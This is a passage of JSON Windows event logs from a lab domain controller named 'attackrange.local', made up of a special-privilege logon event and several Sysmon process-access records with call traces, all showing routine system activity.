11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222005,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x81C93\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x81c93","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5199,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.150\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.150","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5200,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.150\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.150","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5201,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.150\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.150","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5202,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.150\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.150","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5203,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.150\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.150","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5204,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.150\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.150","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5205,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.150\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413D-5F2D-0000-001051580600}\r\nTargetProcessId: 5048\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.150","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413D-5F2D-0000-001051580600}","TargetProcessId":"5048","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5206,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.166\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.166","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b